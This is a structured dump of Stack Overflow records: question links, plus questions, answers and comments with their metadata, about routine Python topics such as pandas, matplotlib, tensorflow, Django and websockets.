tags question: http://stackoverflow.com/q/49524122
tags question: http://stackoverflow.com/q/49503565
tags question: http://stackoverflow.com/q/49574716
tags question: http://stackoverflow.com/q/49480072
tags question: http://stackoverflow.com/q/49582043
tags question: http://stackoverflow.com/q/49529670
tags question: http://stackoverflow.com/q/49544623
tags question: http://stackoverflow.com/q/49522636
tags question: http://stackoverflow.com/q/49478164
tags question: http://stackoverflow.com/q/49475589
tags question: http://stackoverflow.com/q/49476411
tags question: http://stackoverflow.com/q/49464565
tags question: http://stackoverflow.com/q/49468410
tags question: http://stackoverflow.com/q/49550683
tags question: http://stackoverflow.com/q/49566421
tags question: http://stackoverflow.com/q/49582252
tags question: http://stackoverflow.com/q/49593615
tags question: http://stackoverflow.com/q/49563615
tags question: http://stackoverflow.com/q/49495508
tags question: http://stackoverflow.com/q/49508972
tags question: http://stackoverflow.com/q/49589755
tags question: http://stackoverflow.com/q/49533040
tags question: http://stackoverflow.com/q/49480884
tags question: http://stackoverflow.com/q/49567830
tags question: http://stackoverflow.com/q/49570941
tags question: http://stackoverflow.com/q/49478066
tags question: http://stackoverflow.com/q/49588615
tags question: http://stackoverflow.com/q/49480148
tags question: http://stackoverflow.com/q/49443168
tags question: http://stackoverflow.com/q/49574805
tags question: http://stackoverflow.com/q/49471706
tags question: http://stackoverflow.com/q/49541070
tags question: http://stackoverflow.com/q/49460580
tags question: http://stackoverflow.com/q/49472962
tags question: http://stackoverflow.com/q/49510984
tags question: http://stackoverflow.com/q/49532933
tags question: http://stackoverflow.com/q/49581213
tags question: http://stackoverflow.com/q/49452316
tags question: http://stackoverflow.com/q/49440177
tags question: http://stackoverflow.com/q/49486824
tags question: http://stackoverflow.com/q/49507801
tags question: http://stackoverflow.com/q/49441716
tags question: http://stackoverflow.com/q/49449430
tags question: http://stackoverflow.com/q/49596115
tags question: http://stackoverflow.com/q/49542789
tags question: http://stackoverflow.com/q/49545599
tags question: http://stackoverflow.com/q/49545758
tags question: http://stackoverflow.com/q/49524553
tags question: http://stackoverflow.com/q/49473628
tags question: http://stackoverflow.com/q/49558958
tags question: http://stackoverflow.com/q/49594623
tags question: http://stackoverflow.com/q/49455185
tags question: http://stackoverflow.com/q/49574246
tags question: http://stackoverflow.com/q/49588478
tags question: http://stackoverflow.com/q/49551271
tags question: http://stackoverflow.com/q/49534125
tags question: http://stackoverflow.com/q/49465514
tags question: http://stackoverflow.com/q/49582456
tags question: http://stackoverflow.com/q/49590838
tags question: http://stackoverflow.com/q/49568041
tags question: http://stackoverflow.com/q/49497295
tags question: http://stackoverflow.com/q/49522033

http://stackoverflow.com/comment/86120827
comment on: http://stackoverflow.com/q/49555282
has text: Possible duplicate of [Error:cannot get automation extension for chrome with selenium](https://stackoverflow.com/questions/42979877/chrome-org-openqa-selenium-webdriverexception-unknown-error-cannot-get-autom)
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/49534368
type: Answer
has comment: http://stackoverflow.com/comment/86141738
has comment: http://stackoverflow.com/comment/86075719
has comment: http://stackoverflow.com/comment/86177215
score: 2
has body: EDIT: Here is a version that should work out of the box: import configparser from datetime import datetime, timedelta config = configparser.ConfigParser() config.read('dates.ini') try: last = (datetime.strptime(config['Dates']['last'], '%Y-%m-%d %H:%M:%S.%f')) except KeyError: last = datetime.today() cfgfile = open("./dates.ini",'w') try: config.add_section('Dates') except configparser.DuplicateSectionError: pass config.set('Dates','last',str(datetime.today())) config.write(cfgfile) cfgfile.close() print((last - datetime.today()).days)
has comment: http://stackoverflow.com/comment/86150281
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/86178147
answers question: http://stackoverflow.com/q/49533899
has comment: http://stackoverflow.com/comment/86075354

http://stackoverflow.com/comment/86061020
type: AnswerComment
has text: @MaryamRahmaniMoghaddam no I don't but seems like errors related to progress bar is usually something to do with train/test splits and validation arguments on fit (which I didn't give). Check [this github thread](https://github.com/keras-team/keras/issues/3657) for similar errors.
comment on: http://stackoverflow.com/a/49527269
score: 1
type: Comment

http://stackoverflow.com/comment/86021519
score: 0
comment on: http://stackoverflow.com/q/49508502
type: Comment
type: QuestionComment
has text: One trick is that even if you do blue the image to do the processing, you can always draw your results back onto the original image before you show.

http://stackoverflow.com/q/49440425
upvote count: 2
answer count: 1
downvote count: 0
tagged with: websocket
accepted answer: http://stackoverflow.com/a/49440705
has answer: http://stackoverflow.com/a/49440705
has body: How to process websocket data in a non-blocking manner? The below example shows that when ws.recv() is called and nothing is received, ws.recv() blocks the rest of the code from running: from websocket import create_connection url = 'ws://example.com' ws = create_connection(url) ws.recv() # blocks How to implement something along the lines of (without blocking): from websocket import create_connection url = 'ws://example.com' ws = create_connection(url) # non-blocking if ws.not_empty(): ws.recv() How to process websocket data in a non-blocking manner?
favorite count: 0
score: 2
type: AnsweredQuestion
tagged with: python-2.7
has title: How to process websocket data in a non-blocking manner?
tagged with: python
type: Question
tagged with: python-3.x

http://stackoverflow.com/comment/86175257
type: Comment
comment on: http://stackoverflow.com/q/49583494
score: 0
type: QuestionComment
has text: Meanwhile, my guess at the difference is this: There’s a recent patch (which may make it into 3.7 or the next major setuptools version or something) to use parallel builds more often. Presumably that uses `concurrent.futures`. And presumably Fedora didn’t backport that patch, but Amazon did (despite its author being a Redhat employee who works on Fedora Python packaging). Since you broke `concurrent.futures` by installing in front of it, every parallel build is going to fail, and if most builds default to parallel on Amazon but not on Fedora, you’ll see the problem more often on Amazon.

http://stackoverflow.com/a/49444535
has comment: http://stackoverflow.com/comment/85891150
type: Answer
has comment: http://stackoverflow.com/comment/85891224
answers question: http://stackoverflow.com/q/49444511
downvote count: 1
has body: You cannot delete a key-value pair while iterating the dictionary. Instead you can use a dict comprehension Ex: mydict = {'one': 1, 'two': 2, 'three': 3, 'four': 4} print({k:v for k,v in mydict.items() if k != 'two'}) Output: {'four': 4, 'three': 3, 'one': 1}
score: 2
upvote count: 3

http://stackoverflow.com/a/49459383
score: 7
type: Answer
has body: You should be using migrations. This is a great plugin for that: https://flask-migrate.readthedocs.io/en/latest/ and this is a good explanation about how to get going with that: https://realpython.com/flask-by-example-part-2-postgres-sqlalchemy-and-alembic/
type: AcceptedAnswer
downvote count: 0
upvote count: 7
answers question: http://stackoverflow.com/q/49459336
accepted answer of: http://stackoverflow.com/q/49459336

http://stackoverflow.com/a/49532674
answers question: http://stackoverflow.com/q/49532169
type: Answer
has body: Map-reduce paradigm is not supposed to be faster but to be better at scaling. There is always an overhead for a MR job compare to a local running job implementing the same computation : process scheduling, communication, shuffling, etc. Your benchmark is not relevant because MR and local run are either approaches, depending on the data set size. At some point you swap from a local running approach to a MR approach because your dataset become too large for one node.
upvote count: 2
score: 2
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49532169

http://stackoverflow.com/q/49526713
tagged with: pandas
upvote count: 2
type: UnansweredQuestion
score: 1
downvote count: 1
favorite count: 0
type: Question
has body: I am New to Python and currently facing a problem while normalizing the Json during in python. In the Example given below , I had found the solution for the nested tag having single values like {u'c': u'119.743', u'h': u'119.891', u'l': u'119.249', u'o': u'119.341'}, Now we have multiple values in the nested tag so I want the values to be displayed as 3 seperate records with other having same values. Please help. {u'c': u'119.743', u'h': u'119.891', u'l': u'119.249', u'o': u'119.341'}, {u'c': u'119.743', u'h': u'119.891', u'l': u'119.249', u'o': u'119.341'} The complete data is given below. The data is given below. [{u'complete': True, u'mid': {u'c': u'119.743', u'h': u'119.891', u'l': u'119.249', u'o': u'119.341'}, {u'c': u'119.743', u'h': u'119.891', u'l': u'119.249', u'o': u'119.341'}, {u'c': u'119.743', u'h': u'119.891', u'l': u'119.249', u'o': u'119.341'}, u'time': u'1488319200.000000000', u'volume': 14651}, {u'complete': True, u'mid': {u'c': u'119.893', u'h': u'119.954', u'l': u'119.552', u'o': u'119.738'}, {u'c': u'119.893', u'h': u'119.954', u'l': u'119.552', u'o': u'119.738'}, {u'c': u'119.893', u'h': u'119.954', u'l': u'119.552', u'o': u'119.738'}, u'time': u'1488348000.000000000', u'volume': 10738}, {u'complete': True, u'mid': {u'c': u'119.946', u'h': u'120.221', u'l': u'119.840', u'o': u'119.888'}, {u'c': u'119.946', u'h': u'120.221', u'l': u'119.840', u'o': u'119.888'}, {u'c': u'119.946', u'h': u'120.221', u'l': u'119.840', u'o': u'119.888'}, u'time': u'1488376800.000000000', u'volume': 10041}]
tagged with: normalize
has title: How to normalize JSON Data correctly Using Pandas - Python
tagged with: python
answer count: 0

http://stackoverflow.com/a/49509455
score: 1
upvote count: 1
type: Answer
has body: You've called your view UserFormView but it isn't actually a form view; it's just a standard View, which doesn't know what to do with a POST. You should inherit from CreateView or UpdateView like the other views do.
downvote count: 0
answers question: http://stackoverflow.com/q/49493796

http://stackoverflow.com/comment/86019727
type: AnswerComment
has text: @Kailegh thanks for your feedback. I would appreciate an upvote.
type: Comment
comment on: http://stackoverflow.com/a/49507629
score: 0

http://stackoverflow.com/a/49516522
upvote count: 2
has comment: http://stackoverflow.com/comment/86052227
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49516240
answers question: http://stackoverflow.com/q/49516240
has body: If you're just pickling across versions of python 3, then you won't run into any problems with the default protocol. However, if you require the pickle file to be read by python 2, then you can change the pickle version to 0 during the dump, which can be read by python 2 and python 3. I recommend reading the docs as it has much more on the topic: https://docs.python.org/3/library/pickle.html
type: Answer
score: 2

http://stackoverflow.com/comment/86220303
comment on: http://stackoverflow.com/a/49576872
type: Comment
type: AnswerComment
has text: cv2.imwrite did work but it allows me to save as an image. The goal here is after I recognize the numbers I use it to perform some calculations and saving it as another image wouldn't be ideal.
score: 0

http://stackoverflow.com/q/49441635
has comment: http://stackoverflow.com/comment/85885185
linked to: http://stackoverflow.com/q/41130255
type: UnansweredQuestion
has title: Difference between train.Age.mean() and train['Age'].mean() in pandas dataframe
linked to: http://stackoverflow.com/q/45921561
tagged with: python
has body: Let's say we have a pandas dataframe called train and it has a column called Age. What is the difference between method 1 and method 2. avg1 = train.Age.mean() avg2 = train['Age'].mean()
has comment: http://stackoverflow.com/comment/85885231
duplicate of: http://stackoverflow.com/q/41130255
score: 0
answer count: 0
duplicate of: http://stackoverflow.com/q/45921561
tagged with: pandas
type: Question

http://stackoverflow.com/q/49449297
linked to: http://stackoverflow.com/q/15479928
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85900463
linked to: http://stackoverflow.com/q/39980323
tagged with: python-3.x
has body: I have a Json list and I want to print all the keys from a given key till the end of dictionary. But the code I wrote is very complex. How to do it with less complexity ? I'm using Python 3 dictionary = [{"a": "1"}, {"b": "2"}, {"c": "3"}, {"d": "4"}] try: for token in dictionary: if "b" in list(token.keys())[0]: new_dict = dictionary[len(list(token.keys())[0]):] for i in new_dict: print(new_dict[len(list(i.keys())[0]):]) break else: print("Inception") except Exception as error: print(str(error)) DESIRED Input: b Output: c, d My Output: Inception [{'c': '3'}, {'d': '4'}] [{'c': '3'}, {'d': '4'}] [{'c': '3'}, {'d': '4'}]
type: UnansweredQuestion
has title: Iterating JSON structure of list object and finding next keys
has comment: http://stackoverflow.com/comment/85900426
tagged with: python
tagged with: dictionary
has comment: http://stackoverflow.com/comment/85900481
has answer: http://stackoverflow.com/a/49449570
has answer: http://stackoverflow.com/a/49449410
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/49449368
tagged with: http://stackoverflow.com/tag/json
upvote count: 1
has comment: http://stackoverflow.com/comment/85900513

http://stackoverflow.com/comment/86133312
type: QuestionComment
comment on: http://stackoverflow.com/q/49562458
score: 0
type: Comment
has text: I don't see why the second trial only runs the code once. You have an infinite loop with `while True:`.

http://stackoverflow.com/comment/129937238
has text: That is soo underdocumented...
score: 3
comment on: http://stackoverflow.com/a/71564042
type: Comment
type: AnswerComment

http://stackoverflow.com/a/49588512
upvote count: 2
has body: There is no option in the polyfit method for the purpose of rounding. IIUC, you can use round after applying polyfit. import numpy as np data = [1,4,5,7,8,11,14,15,16,19] x = np.arange(0,len(data)) y = np.array(data) z = np.polyfit(x,y,2).round(decimals=3) array([0.004, 1.905, 1.318]) For values exactly halfway between rounded decimal values, NumPy rounds to the nearest even value. Thus 1.5 and 2.5 round to 2.0, -0.5 and 0.5 round to 0.0, etc. Results may also be surprising due to the inexact representation of decimal fractions in the IEEE floating point standard [R9] and errors introduced when scaling by powers of ten. -- Cited from numpy.around
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49587025
has comment: http://stackoverflow.com/comment/86185728
answers question: http://stackoverflow.com/q/49587025
type: Answer
has comment: http://stackoverflow.com/comment/86185681
score: 2

http://stackoverflow.com/comment/86062563
type: QuestionComment
type: Comment
score: 0
has text: I was asking if this behavior is seen/known. I understand it very well that this is not CPython bug tracker. Maybe, I was not clear enough. In either case, never mind. I found it is the behavior with this particular combination of versions and modules. It's probably a bug. I tried the same code with CPython interpreter `'3.5.2 (v3.5.2:4def2a2901a5, Jun 25 2016, 22:18:55) [MSC v.1900 64 bit (AMD64)]'` and it is behaving as expected. Will probably file a bug later on https://bugs.python.org when I find a few cycles.
comment on: http://stackoverflow.com/q/49505731

http://stackoverflow.com/a/49466004
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/85935244
accepted answer of: http://stackoverflow.com/q/49465870
answers question: http://stackoverflow.com/q/49465870
has body: Your approach wasn't working because index goes out of range instead you could do the following code to read and sort the numbers present in the file. from sys import argv with open(argv[1],'r') as myfile: for line in myfile: print (sorted(map(int, line.split(',')))) If your file contains comma seperated values.
type: Answer
score: 0

http://stackoverflow.com/a/49518888
answers question: http://stackoverflow.com/q/49518455
type: Answer
has comment: http://stackoverflow.com/comment/86050211
has comment: http://stackoverflow.com/comment/86049807
upvote count: 3
downvote count: 0
has body: To make sure the checkbox is in the correct state you can use the example you yourself provided with a few changes: {% for field in filter.form.tags %} &lt;input type="checkbox" id="{{ field.id_for_label }}" name="{{ field.html_name }}" {% if field.value %}checked{% endif %}&gt; &lt;label for="{{ field.id_for_label }}"&gt;{{ field.value }}&lt;/label&gt; {% endfor %} And remember that you can use the {{ field.label_tag }} to generate the entire label HTML tag.
score: 3
has comment: http://stackoverflow.com/comment/86049934
has comment: http://stackoverflow.com/comment/86050013

http://stackoverflow.com/comment/86099102
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49542962
has text: Hi Patrick, many thanks for you advice, and I have the code uploaded.

http://stackoverflow.com/comment/86066534
comment on: http://stackoverflow.com/q/49525066
type: Comment
type: QuestionComment
has text: There are a lot of similar questions already. It would be necessary to tell in how far they did not help. Or, if you really want to ask how to make the labels draggable, you should do so explicitely; note however that the inline backend creates png files, which can of course not be interactively dragged.
score: 0

http://stackoverflow.com/comment/86142227
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49566391
type: Comment
has text: I gotta say, I'm having no luck reproducing your error with Python 3.6.4 on a Mac.

http://stackoverflow.com/comment/86122007
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49556678
type: QuestionComment
has text: you _have_ to use `load`. Why not using `json` to store your dictionaries? using append mode could leave data in the file. Use `wb` to create the file.

http://stackoverflow.com/comment/86166526
type: Comment
type: QuestionComment
score: 0
has text: @ekhumoro I really am trying to subclass QtWidgets.QWidget 3 times. Because it gets more specified with each subclass. Currently my solution is to have the top level have a setupUi 1, 2, and 3 and overwrite them as I go down. But that seems just clunky and bad.
comment on: http://stackoverflow.com/q/49538983

http://stackoverflow.com/comment/86118851
score: 0
type: Comment
type: QuestionComment
has text: You can use api depend for this scene. In that api use that kind of field where you want to do changes as you mentioned.
comment on: http://stackoverflow.com/q/49555407

http://stackoverflow.com/comment/86025229
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/49510416
score: 0
has text: Well, yeah it would be `.set_position('zero')` - https://matplotlib.org/examples/pylab_examples/spine_placement_demo.html

http://stackoverflow.com/a/49565113
type: Answer
has comment: http://stackoverflow.com/comment/86139490
has comment: http://stackoverflow.com/comment/86142391
has comment: http://stackoverflow.com/comment/86140087
score: 2
has comment: http://stackoverflow.com/comment/86139605
upvote count: 2
has comment: http://stackoverflow.com/comment/86139981
downvote count: 0
has body: Needed a few tweaks (plt.cm.spectral is the danged weirdest colormap I've ever dealt with), but it seems to be good now: from matplotlib.lines import Line2D import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D import numpy as np from sklearn import decomposition from sklearn import datasets np.random.seed(5) centers = [[1, 1], [-1, -1], [1, -1]] iris = datasets.load_iris() X = iris.data#the floating point values y = iris.target#unsigned integers specifying group fig = plt.figure(1, figsize=(4, 3)) plt.clf() ax = Axes3D(fig, rect=[0, 0, .95, 1], elev=48, azim=134) plt.cla() pca = decomposition.PCA(n_components=3) pca.fit(X) X = pca.transform(X) labelTups = [('Setosa', 0), ('Versicolour', 1), ('Virginica', 2)] for name, label in labelTups: ax.text3D(X[y == label, 0].mean(), X[y == label, 1].mean() + 1.5, X[y == label, 2].mean(), name, horizontalalignment='center', bbox=dict(alpha=.5, edgecolor='w', facecolor='w')) # Reorder the labels to have colors matching the cluster results y = np.choose(y, [1, 2, 0]).astype(np.float) ax.scatter(X[:, 0], X[:, 1], X[:, 2], c=y, cmap=plt.cm.spectral, edgecolor='k') ax.w_xaxis.set_ticklabels([]) ax.w_yaxis.set_ticklabels([]) ax.w_zaxis.set_ticklabels([]) colors = [plt.cm.spectral(np.float(i/2)) for i in [1, 2, 0]] custom_lines = [Line2D([0], [0], linestyle="none", marker='.', markeredgecolor='k', markerfacecolor=c, markeredgewidth=.1, markersize=20) for c in colors] ax.legend(custom_lines, [lt[0] for lt in labelTups], loc='right', bbox_to_anchor=(1.7, .5)) plt.show() Here's a link to an online Jupyter notebook with a live version of the script (requires an account for rerunning, though). Short explanation You're trying to add three legend markers for a single plot, which is nonstandard behavior. Thus, you need to manually create the shapes that your legend will display. Longer explanation This line of code recreates the colors you used in your plot: colors = [plt.cm.spectral(np.float(i/2)) for i in [1, 2, 0]] and t…
has comment: http://stackoverflow.com/comment/86139658
answers question: http://stackoverflow.com/q/49564844
has comment: http://stackoverflow.com/comment/86139966

http://stackoverflow.com/q/49500899
tagged with: sigmoid
tagged with: tensorflow
type: Question
tagged with: logistic-regression
has comment: http://stackoverflow.com/comment/86007532
has comment: http://stackoverflow.com/comment/86006098
tagged with: python
has answer: http://stackoverflow.com/a/49514703
tagged with: matlab
type: AnsweredQuestion
score: 0
answer count: 1
has body: I've been trying to make a univariate logistic regression model in python using tensorflow that I learnt in Matlab (ML course on Coursera by Andrew ng). The model converges but only when the initial theta0 nad theta1 variables are defined small(about 1.00) but returns the converging values as nan if initial value is set to 100.00. Also the same thing happens when learning rate is increased. The python code is import tensorflow as tf import numpy as np import os import matplotlib.pyplot as plt os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2' epoch = 100000 x_data = (np.random.rand(100)*100).astype(np.float64) y_data = np.vectorize(lambda y: 0.00 if y &lt; 50.00 else 1.00)(x_data) theta0 = tf.Variable(1, dtype=tf.float64) theta1 = tf.Variable(-1, dtype=tf.float64) hypothesis = theta0 + (theta1 * x_data) hypothesis = tf.sigmoid(hypothesis) term1 = -(y_data * tf.log(hypothesis)) term2 = -((1-y_data) * tf.log(1-hypothesis)) loss = tf.reduce_mean(term1 + term2) optimizer = tf.train.GradientDescentOptimizer(0.006).minimize(loss) init_var = tf.global_variables_initializer() train_data = [] with tf.Session() as sess: sess.run(init_var) for i in range(epoch): train_data.append(sess.run([optimizer, theta0, theta1, loss])[1:]) if i%100==0: print("Epoch ", i, ":", sess.run([theta0, theta1, loss])) Explanations for the described behavior of code and corrections, or even a better code for above purpose would be deeply appreciated.
has title: tf.sigmoid() overflow when used for bigger values
accepted answer: http://stackoverflow.com/a/49514703
has comment: http://stackoverflow.com/comment/86006963

http://stackoverflow.com/q/49582831
tagged with: popup
has comment: http://stackoverflow.com/comment/104836088
downvote count: 0
has title: Adding JPG Images to folium popup
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/104836038
score: 4
favorite count: 0
has answer: http://stackoverflow.com/a/66619372
has comment: http://stackoverflow.com/comment/86174075
has body: I try to add an image to folium popup, but failed. I use python 2.7 version, and folium 0.50 version. Actually, I follow the page mention in other threads, but it still doesn't work http://nbviewer.jupyter.org/gist/ocefpaf/0ec5c93138744e5072847822818b4362 import folium import base64 m = folium.Map(location = [33, -97], zoom_start = 6, tiles = "Mapbox Bright") encoded = base64.b64encode(open('IMG_1769.JPG', 'rb').read()).decode() html = '&lt;img src="data:image/jpeg;base64,{}"&gt;'.format iframe = folium.IFrame(html(encoded), width=632+20, height=420+20) popup = folium.Popup(iframe, max_width=2650) marker = folium.Marker([30,-100], popup=popup).add_to(m) m.add_child(marker) m.save("test.html")
has answer: http://stackoverflow.com/a/55342630
tagged with: python
upvote count: 4
tagged with: folium
type: Question
answer count: 2

http://stackoverflow.com/a/49573330
score: 0
has body: I assume you want true or false as an outcome bagpack= { "pouch":"water bottle", "snacks":["chocolate","sweets", "icecream"], "front_zip":"zipper" } def search_bag(x): for k, v in bagpack.iteritems(): for snack in bagpack["snacks"]: if v == x or snack == x: return v == x or snack == x return False print("search Result : " + str(search_bag("chocolate"))) outcome search Result : True
type: Answer
answers question: http://stackoverflow.com/q/49572868

http://stackoverflow.com/comment/85932828
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49464950
has text: You are actually checking if the max of the array is less than 100. When it gets to 89, the max is 89, so the code inside the while function is executed. What you want to do is to append value to the list only of it is less than 100.

http://stackoverflow.com/q/49439963
tagged with: tensorflow-serving
tagged with: python
linked to: http://stackoverflow.com/q/46687348
has title: "Prediction failed: Error during model execution: Unable to decode bytes as JPEG, PNG, GIF, or BMP"
has comment: http://stackoverflow.com/comment/86391202
type: AnsweredQuestion
score: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/49709940
tagged with: keras
has answer: http://stackoverflow.com/a/49709940
tagged with: tensorflow
has comment: http://stackoverflow.com/comment/86433264
linked to: http://stackoverflow.com/q/48216067
type: Question
tagged with: google-cloud-ml
has body: I deployed a keras model onto gcloud ml-engine, but received above error upon attempted online prediction. I saved and deployed by following @Chase Midler's sample code from here (which is an adaptation of Hayato Yoshikawa's sample code from here. However, it complained that no preprocess_image function existed. I assume this is a custom function for whatever one wants to do to the image before passing it through the model; is that correct? Hence, I simply commented that line out. I proceeded to deploy the saved model to gcloud ml engine and attempt an online prediction. Unfortunately I received the following "unable to decode bytes as JPEG, PNG, GIF, or BMP" error: { "error": "Prediction failed: Error during model execution: AbortionError(code=StatusCode.INVALID_ARGUMENT, details= \"assertion failed: [Unable to decode bytes as JPEG, PNG, GIF, or BMP]\n\t [[Node: import/decode_image/cond_jpeg/cond_png/cond_gif/Assert_1/ Assert = Assert[T=[DT_STRING], summarize=3, _device= \"/job:localhost/replica:0/task:0/device:CPU:0\"](import/decode_image/cond_jpeg/ cond_png/cond_gif/is_bmp, import/decode_image/cond_jpeg/cond_png/ cond_gif/Assert_1/Assert/data_0)]]\")" } What could the problem be?

http://stackoverflow.com/comment/85939497
has text: @DavisHerring - I'm not opposed to moving it there. For those of us new to the site, it's not intuitive where to post. 1) I didn't know of such a section and 2) wouldn't know how to put it there. I simply clicked "Ask Question" and posted.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49465940
type: QuestionComment

http://stackoverflow.com/a/49583505
has comment: http://stackoverflow.com/comment/86178240
upvote count: 1
has comment: http://stackoverflow.com/comment/86177799
type: Answer
accepted answer of: http://stackoverflow.com/q/49583011
has comment: http://stackoverflow.com/comment/86177293
has comment: http://stackoverflow.com/comment/86178890
has body: Change your private_company() as below @detail_route(methods=['post', 'patch'], url_path='private') def private_company(self, request, version, pk=None): if request.method == 'PATCH': instance = self.get_object() serializer = self.get_serializer(instance, data=request.data, partial=True) serializer.is_valid(raise_exception=True) serializer.save() return Response(data={"status": "updated", "data": serializer.data}) else: do something else with POST request if needed
has comment: http://stackoverflow.com/comment/86177432
answers question: http://stackoverflow.com/q/49583011
has comment: http://stackoverflow.com/comment/86178129
score: 1
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/86176294
score: 1
comment on: http://stackoverflow.com/q/49584011
type: QuestionComment
type: Comment
has text: Try adding `handle_httpstatus_list = [404, 500, 502]` to your scraper and handle the errors in `parse` itself

http://stackoverflow.com/comment/85907951
has text: Do you have any more examples? All first 4 digits occur in all of these strings. Do you only want the *first* index?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49452567

http://stackoverflow.com/comment/85945246
has text: so If with the last print statement uncommented, the function prints the desired value, but if I comment it out, nothing will be returned
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49471275
type: Comment

http://stackoverflow.com/comment/86132029
type: QuestionComment
comment on: http://stackoverflow.com/q/49561965
has text: You can say the same about `math.pow(x,2)` and `x**2`.
score: 0
type: Comment

http://stackoverflow.com/a/49569436
has comment: http://stackoverflow.com/comment/86147373
has comment: http://stackoverflow.com/comment/86147217
answers question: http://stackoverflow.com/q/49569334
has comment: http://stackoverflow.com/comment/86147412
type: Answer
has body: In python, functions are "first class objects" (See What are "first class" objects?). This means you can set attributes on them. You define your function fnc here, and the decorator c adds a property to that function object fnc.co. Its a little weird that the inner.co = 0 initialization is done after the wrapping function is declared, but since inner won't get called until after the co property is defined it doesn't matter. Then in inner the co property gets incremented each time the function is called.
score: 0

http://stackoverflow.com/comment/85956706
has text: Is there anyone who is interested in telling him that `git` is totally different from `github` and can be used offline and is beneficial to even a tiny project? Forgive me to use double `and` in one sentence.
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49476888

http://stackoverflow.com/q/49505335
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/49519713
upvote count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49505483
has answer: http://stackoverflow.com/a/49505486
tagged with: python
tagged with: dictionary
has body: data = ['reply': '{"osc":{"version":"1.0"}}'] data1 = ['reply':'{"device":{"network":{"ipv4_dante":{"auto":"1.0"}}}}'] I need to get only the "1.0" value from data and data1 using python 3.6. How can I achieve this?
answer count: 4
has comment: http://stackoverflow.com/comment/86020893
score: 0
tagged with: list
has comment: http://stackoverflow.com/comment/86014743
has answer: http://stackoverflow.com/a/49505747
tagged with: http://stackoverflow.com/tag/json
downvote count: 2
has title: How to get the last value from the list using python?
favorite count: 0

http://stackoverflow.com/comment/134187871
type: AnswerComment
comment on: http://stackoverflow.com/a/49541956
has text: So divide the FFT length by the max index of the spectrum
type: Comment
score: 0

http://stackoverflow.com/comment/86139344
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49565152
has text: The problem is that you're fitting an exponential curve to data with high x-values, hence the fit is unstable difficult to bring to convergence. Can you transform your data (e.g. fitting the log)?

http://stackoverflow.com/comment/86171354
comment on: http://stackoverflow.com/q/49581425
has text: Are you _trying_ to call both methods on the same event here (in which case it's a dup), or was this the kind of silly mistake none of us can ever find in our own code after hours of debugging but can easily spot in someone else's (in which case it's a typo), or is there a different question here?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85977118
comment on: http://stackoverflow.com/a/49486716
type: AnswerComment
has text: Thank you - everyday is a school day
score: 1
type: Comment

http://stackoverflow.com/q/49503721
has comment: http://stackoverflow.com/comment/86011892
score: 2
has title: Combine files as handy as possible
has body: Combine files as handy as possible Suppose I have the following markdown files 1.md # contains 'foo' 2.md # contains 'bar' 3.md # 'zoo' 4.md # 'zxc' They are easy to be merged using command cat $ cat {1..4}.md &gt; merged_5.md Nevertheless, Python requires multiple steps to achieve this result. Create Read and Write Methods def read(filename): with open(filename) as file: content = file.read() return content def write(filename, content): with open(filename, 'w') as file: file.write(content) Retrieve the qualified files import glob filenames = glob.glob('*.md') In [17]: filenames Out[17]: ['1.md', '2.md', '3.md', '4.md'] Read and combine def combine(filenames): merged_conent = "" for filename in filenames: content = read(filename) merged_content += content write('merged.md', merged_content) Encapsulate data and methods in main module and save as 'combine_files.py' def main(): filenames = glob.glob('*.md') combine(filenames) if __name__ == '__main__': main() Run it on command line python3 combine_files.py It's not handy as command 'cat' How to refactor the codes to be as handy as possible?
possible better answer: http://stackoverflow.com/a/49503898
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49503835
has comment: http://stackoverflow.com/comment/86011851
has answer: http://stackoverflow.com/a/49503898
has answer: http://stackoverflow.com/a/49503835
favorite count: 0
type: Question
tagged with: python-3.x
answer count: 2
upvote count: 2
downvote count: 0
tagged with: python

http://stackoverflow.com/comment/86041785
has text: I guess one of my big open questions is still why descriptor instances have to be defined at class level? (like math_grade above)
score: 0
comment on: http://stackoverflow.com/q/49517010
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49480437
tagged with: python
has title: PyQt5 QCombobox: how do I use the selected value of the user to execute a specific function?
tagged with: combobox
has answer: http://stackoverflow.com/a/49481477
tagged with: qcombobox
downvote count: 0
tagged with: pyqt5
upvote count: 1
